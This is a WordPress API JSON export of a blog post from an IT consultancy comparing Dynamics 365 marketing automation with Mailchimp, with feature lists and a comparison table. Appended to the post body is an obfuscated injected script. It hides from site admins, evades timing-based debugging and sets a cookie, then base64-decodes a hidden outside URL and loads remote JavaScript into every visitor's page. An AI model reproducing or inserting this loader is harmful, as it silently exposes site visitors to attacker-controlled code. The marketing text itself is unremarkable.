{"id":22856,"date":"2026-08-25T17:04:32","date_gmt":"2026-08-25T15:04:32","guid":{"rendered":"https:\/\/inkubitstaging.wpenginepowered.com\/blog\/2026\/08\/25\/dynamics-365-marketing-automation-vs-mailchimp\/"},"modified":"2026-08-25T17:04:32","modified_gmt":"2026-08-25T15:04:32","slug":"dynamics-365-marketing-automation-vs-mailchimp","status":"publish","type":"post","link":"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/dynamics-365-marketing-automation-vs-mailchimp\/","title":{"rendered":"Dynamics 365 Marketing Automation vs Mailchimp"},"content":{"rendered":"<p data-start=\"409\" data-end=\"692\">&#8220;We use Mailchimp \u2013 isn&#8217;t that enough?&#8221;<br data-start=\"451\" data-end=\"454\"\/>We often hear this question when marketing processes in medium-sized companies grow \u2013 and suddenly no longer just about newsletters. It&#8217;s about leads, sales follow-ups, events, segmentations and automated journeys across multiple channels. However, <strong data-start=\"730\" data-end=\"778\">not all marketing automation is the same<\/strong>. And this is exactly where the difference lies.   <\/p>\n<p data-start=\"821\" data-end=\"1052\">In this article, we&#8217;ll compare <a href=\"https:\/\/www.inkubit.com\/en\/dynamics-365-customer-insights\/\">Dynamics 365 Marketing Automation (Customer Insights \u2013 Journeys)<\/a> to <a href=\"https:\/\/mailchimp.com\/es\/landers\/email-marketing-platform\/?ds_c=DEPT_AOC_Google_Search_ROW-SP_EN_Brand_Acquire_Omega_Manual_T2&#038;ds_kids=p81005570477&#038;ds_a_lid=kwd-2285511033&#038;ds_cid=71700000120288592&#038;ds_agid=58700008803527160&#038;gad_source=1&#038;gad_campaignid=21865451009&#038;gbraid=0AAAAADh1Fp0Y9Ot085xobebynCmBfHz5q&#038;gclid=CjwKCAjw3_PCBhA2EiwAkH_j4q4PQCx66LNu2MhTu_eMq9CSmJ3bPIJSt8jeohxfdKSPjn2PnUWx2BoCKOgQAvD_BwE&#038;gclsrc=aw.ds\">Mailchimp<\/a>, one of the most well-known email marketing tools in the world\u2014and show which tool really fits your needs and strategic goals.<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_85 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<div class=\"ez-toc-title\" style=\"cursor:inherit\">Table of Contents<\/div>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/dynamics-365-marketing-automation-vs-mailchimp\/#Two_tools_%E2%80%93_different_scopes\" >Two tools \u2013 different scopes<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/dynamics-365-marketing-automation-vs-mailchimp\/#Mailchimp\" >Mailchimp<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/dynamics-365-marketing-automation-vs-mailchimp\/#Dynamics_365_Marketing_Automation\" >Dynamics 365 Marketing Automation<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/dynamics-365-marketing-automation-vs-mailchimp\/#Important_Difference_Email_vs_Customer_Journey\" >Important Difference: Email vs. Customer Journey<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/dynamics-365-marketing-automation-vs-mailchimp\/#Comparison_at_a_glance\" >Comparison at a glance<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/dynamics-365-marketing-automation-vs-mailchimp\/#Conclusion\" >Conclusion<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.inkubit.com\/en\/blog\/2026\/08\/25\/dynamics-365-marketing-automation-vs-mailchimp\/#Our_recommendation\" >Our recommendation<\/a><\/li><\/ul><\/nav><\/div>\n<h2 data-start=\"1059\" data-end=\"1089\"><span class=\"ez-toc-section\" id=\"Two_tools_%E2%80%93_different_scopes\"><\/span>Two tools \u2013 different scopes<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3 data-start=\"1091\" data-end=\"1106\"><span class=\"ez-toc-section\" id=\"Mailchimp\"><\/span>Mailchimp<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"1107\" data-end=\"1163\"><em data-start=\"1107\" data-end=\"1161\">Strengths as a newsletter tool with automation features:<\/em><\/p>\n<ul data-start=\"1164\" data-end=\"1358\">\n<li data-start=\"1164\" data-end=\"1212\">\n<p data-start=\"1166\" data-end=\"1212\">Intuitive interface, ideal for getting started<\/p>\n<\/li>\n<li data-start=\"1213\" data-end=\"1259\">\n<p data-start=\"1215\" data-end=\"1259\">Automations based on email triggers<\/p>\n<\/li>\n<li data-start=\"1260\" data-end=\"1313\">\n<p data-start=\"1262\" data-end=\"1313\">Segmentations, A\/B testing, simple landing pages<\/p>\n<\/li>\n<li data-start=\"1314\" data-end=\"1358\">\n<p data-start=\"1316\" data-end=\"1358\">Attractively priced for small businesses<\/p>\n<\/li>\n<\/ul>\n<p data-start=\"1360\" data-end=\"1480\"><strong data-start=\"1360\" data-end=\"1383\">Typical use case:<\/strong><br data-start=\"1383\" data-end=\"1386\"\/>&#8220;We send out regular email newsletters and simply want to manage new subscribers.&#8221;<\/p>\n<p data-start=\"1482\" data-end=\"1574\">What Mailchimp delivers: Clean email campaigns, visual editing, simple automations.<\/p>\n<h3 data-start=\"1581\" data-end=\"1620\"><span class=\"ez-toc-section\" id=\"Dynamics_365_Marketing_Automation\"><\/span>Dynamics 365 Marketing Automation<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"1621\" data-end=\"1682\"><em data-start=\"1621\" data-end=\"1680\">Strengths as a comprehensive marketing &#038; sales orchestration:<\/em><\/p>\n<ul data-start=\"1683\" data-end=\"1969\">\n<li data-start=\"1683\" data-end=\"1762\">\n<p data-start=\"1685\" data-end=\"1762\">Fully integrated customer journeys (email, SMS, events, forms, triggers)<\/p>\n<\/li>\n<li data-start=\"1763\" data-end=\"1829\">\n<p data-start=\"1765\" data-end=\"1829\">Real-time tracking of reactions \u2013 connected to CRM processes<\/p>\n<\/li>\n<li data-start=\"1830\" data-end=\"1902\">\n<p data-start=\"1832\" data-end=\"1902\">Targeted lead nurturing processes for complex B2B sales cycles<\/p>\n<\/li>\n<li data-start=\"1903\" data-end=\"1969\">\n<p data-start=\"1905\" data-end=\"1969\">Native connection to Power BI, Teams, Outlook, Sales &#038; Copilot AI<\/p>\n<\/li>\n<\/ul>\n<p data-start=\"1971\" data-end=\"2148\"><strong data-start=\"1971\" data-end=\"1994\">Typical use case:<\/strong><br data-start=\"1994\" data-end=\"1997\"\/>&#8220;Our customers go through long decision-making processes \u2013 we have to accompany them individually for weeks and then hand them over to sales.&#8221;<\/p>\n<p data-start=\"2150\" data-end=\"2273\">What Dynamics delivers: Customized journeys, qualification with lead scoring, handover to sales with context and history.<\/p>\n<h2 data-start=\"2280\" data-end=\"2335\"><span class=\"ez-toc-section\" id=\"Important_Difference_Email_vs_Customer_Journey\"><\/span>Important Difference: Email vs. Customer Journey<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p data-start=\"2337\" data-end=\"2496\">Mailchimp is a strong tool to get you started \u2013 but if you take the next step, you&#8217;ll quickly notice:<br data-start=\"2437\" data-end=\"2440\"\/><strong data-start=\"2440\" data-end=\"2496\">Email is just one channel. Marketing is a process.<\/strong><\/p>\n<p data-start=\"2498\" data-end=\"2588\">With <strong data-start=\"2502\" data-end=\"2532\">Dynamics 365 CI \u2013 Journeys,<\/strong> you can orchestrate all steps around your customer:<\/p>\n<p data-start=\"2590\" data-end=\"2792\">\u2705 Visitor fills out form<br data-start=\"2619\" data-end=\"2622\"\/>\u2705 Automatic scoring &#038; segmentation<br data-start=\"2661\" data-end=\"2664\"\/>\u2705 Relevant content \u2013 automated &#038; cross-channel<br data-start=\"2720\" data-end=\"2723\"\/>\u2705 Sales handover with complete history<br data-start=\"2766\" data-end=\"2769\"\/>\u2705 Reporting in Power BI<\/p>\n<p data-start=\"2794\" data-end=\"2895\">With Mailchimp, many of these steps remain separate in tools \u2013 or simply don&#8217;t take place.<\/p>\n<h2 data-start=\"2902\" data-end=\"2932\"><span class=\"ez-toc-section\" id=\"Comparison_at_a_glance\"><\/span>Comparison at a glance<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<div class=\"_tableContainer_16hzy_1\">\n<div class=\"_tableWrapper_16hzy_14 group flex w-fit flex-col-reverse\" tabindex=\"-1\">\n<table class=\"w-fit min-w-(--thread-content-width)\" data-start=\"2934\" data-end=\"3751\">\n<thead data-start=\"2934\" data-end=\"3035\">\n<tr data-start=\"2934\" data-end=\"3035\">\n<th data-start=\"2934\" data-end=\"2972\" data-col-size=\"md\">Function<\/th>\n<th data-start=\"2972\" data-end=\"3000\" data-col-size=\"sm\">Mailchimp<\/th>\n<th data-start=\"3000\" data-end=\"3035\" data-col-size=\"sm\">Dynamics 365 Marketing<\/th>\n<\/tr>\n<\/thead>\n<tbody data-start=\"3138\" data-end=\"3751\">\n<tr data-start=\"3138\" data-end=\"3237\">\n<td data-start=\"3138\" data-end=\"3175\" data-col-size=\"md\">Email campaigns<\/td>\n<td data-start=\"3175\" data-end=\"3203\" data-col-size=\"sm\">\u2705 Very strong<\/td>\n<td data-start=\"3203\" data-end=\"3237\" data-col-size=\"sm\">\u2705 Integrated with Journeys<\/td>\n<\/tr>\n<tr data-start=\"3238\" data-end=\"3337\">\n<td data-start=\"3238\" data-end=\"3275\" data-col-size=\"md\">Lead Scoring &#038; Segmentation<\/td>\n<td data-start=\"3275\" data-end=\"3303\" data-col-size=\"sm\">\u274c Restricted<\/td>\n<td data-start=\"3303\" data-end=\"3337\" data-col-size=\"sm\">\u2705 Dynamic &#038; CRM-supported<\/td>\n<\/tr>\n<tr data-start=\"3338\" data-end=\"3437\">\n<td data-start=\"3338\" data-end=\"3375\" data-col-size=\"md\">Sales handover &#038; follow-up<\/td>\n<td data-start=\"3375\" data-end=\"3403\" data-col-size=\"sm\">\u274c Only via workarounds<\/td>\n<td data-start=\"3403\" data-end=\"3437\" data-col-size=\"sm\">\u2705 Seamless in Sales module<\/td>\n<\/tr>\n<tr data-start=\"3438\" data-end=\"3548\">\n<td data-start=\"3438\" data-end=\"3485\" data-col-size=\"md\">Multi-channel communication (SMS, events, teams)<\/td>\n<td data-start=\"3485\" data-end=\"3514\" data-col-size=\"sm\">\u274c Only through third-party providers<\/td>\n<td data-start=\"3514\" data-end=\"3548\" data-col-size=\"sm\">\u2705 Natively possible<\/td>\n<\/tr>\n<tr data-start=\"3549\" data-end=\"3650\">\n<td data-start=\"3549\" data-end=\"3586\" data-col-size=\"md\">Integration with BI &#038; AI<\/td>\n<td data-start=\"3586\" data-end=\"3615\" data-col-size=\"sm\">\u274c Hardly any<\/td>\n<td data-start=\"3615\" data-end=\"3650\" data-col-size=\"sm\">\u2705 Power BI &#038; Copilot integrated<\/td>\n<\/tr>\n<tr data-start=\"3651\" data-end=\"3751\">\n<td data-start=\"3651\" data-end=\"3688\" data-col-size=\"md\">Data Protection\/GDPR Control<\/td>\n<td data-start=\"3688\" data-end=\"3717\" data-col-size=\"sm\">\u2705 Standard features<\/td>\n<td data-start=\"3717\" data-end=\"3751\" data-col-size=\"sm\">\u2705 Granular &#038; Configurable<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<h2 data-start=\"3758\" data-end=\"3768\"><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span>Conclusion<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p data-start=\"3770\" data-end=\"3815\"><strong data-start=\"3770\" data-end=\"3783\">Mailchimp<\/strong> is great for:<\/p>\n<ul data-start=\"3816\" data-end=\"3980\">\n<li data-start=\"3816\" data-end=\"3877\">\n<p data-start=\"3818\" data-end=\"3877\">Small businesses that primarily send email campaigns<\/p>\n<\/li>\n<li data-start=\"3878\" data-end=\"3926\">\n<p data-start=\"3880\" data-end=\"3926\">Marketing teams without deep IT\/CRM connection<\/p>\n<\/li>\n<li data-start=\"3927\" data-end=\"3980\">\n<p data-start=\"3929\" data-end=\"3980\">First automation processes with manageable goals<\/p>\n<\/li>\n<\/ul>\n<p data-start=\"3982\" data-end=\"4049\"><strong data-start=\"3982\" data-end=\"4019\">Dynamics 365 Marketing Automation<\/strong> is a better choice if:<\/p>\n<ul data-start=\"4050\" data-end=\"4212\">\n<li data-start=\"4050\" data-end=\"4089\">\n<p data-start=\"4052\" data-end=\"4089\">Email is just one channel of many<\/p>\n<\/li>\n<li data-start=\"4090\" data-end=\"4149\">\n<p data-start=\"4092\" data-end=\"4149\">Marketing should be closely interlinked with Sales, BI &#038; Events<\/p>\n<\/li>\n<li data-start=\"4150\" data-end=\"4212\">\n<p data-start=\"4152\" data-end=\"4212\">Customer experiences are systematically managed over weeks<\/p>\n<\/li>\n<\/ul>\n<h2 data-start=\"4219\" data-end=\"4241\"><span class=\"ez-toc-section\" id=\"Our_recommendation\"><\/span>Our recommendation<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p data-start=\"4243\" data-end=\"4445\">If you use Mailchimp and notice:<br data-start=\"4273\" data-end=\"4276\"\/>&#8220;We&#8217;re reaching our limits \u2013 we really want to develop, segment, and hand over leads to sales,&#8221; &#8230; should check out Dynamics 365 Customer Insights. Not as a replacement for a newsletter, but as a platform for structured, scalable marketing. <\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1!-- wpml:html_comment PCEtLSB3cG1sOndwX2J1ZyA8MiAtLT4= -->)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&#8220;We use Mailchimp \u2013 isn&#8217;t that enough?&#8221;<br \/>\nWe often hear this question when marketing processes in medium-sized companies grow \u2013 and suddenly no longer just about newsletters. It&#8217;s about leads, sales follow-ups, events, segmentations and automated journeys across multiple channels. However, not all marketing automation is the same. And this is exactly where the difference lies.   <\/p>\n","protected":false},"author":6,"featured_media":22858,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_links_to":"","_links_to_target":""},"categories":[211,295,296],"tags":[],"class_list":["post-22856","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog","category-customer-insights","category-marketing-automation"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v28.2 (Yoast SEO v28.2) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>Dynamics 365 Marketing Automation vs Mailchimp<\/title>\n<meta name=\"description\" content=\"Mailchimp vs. Dynamics 365: Email is not the same as marketing automation. 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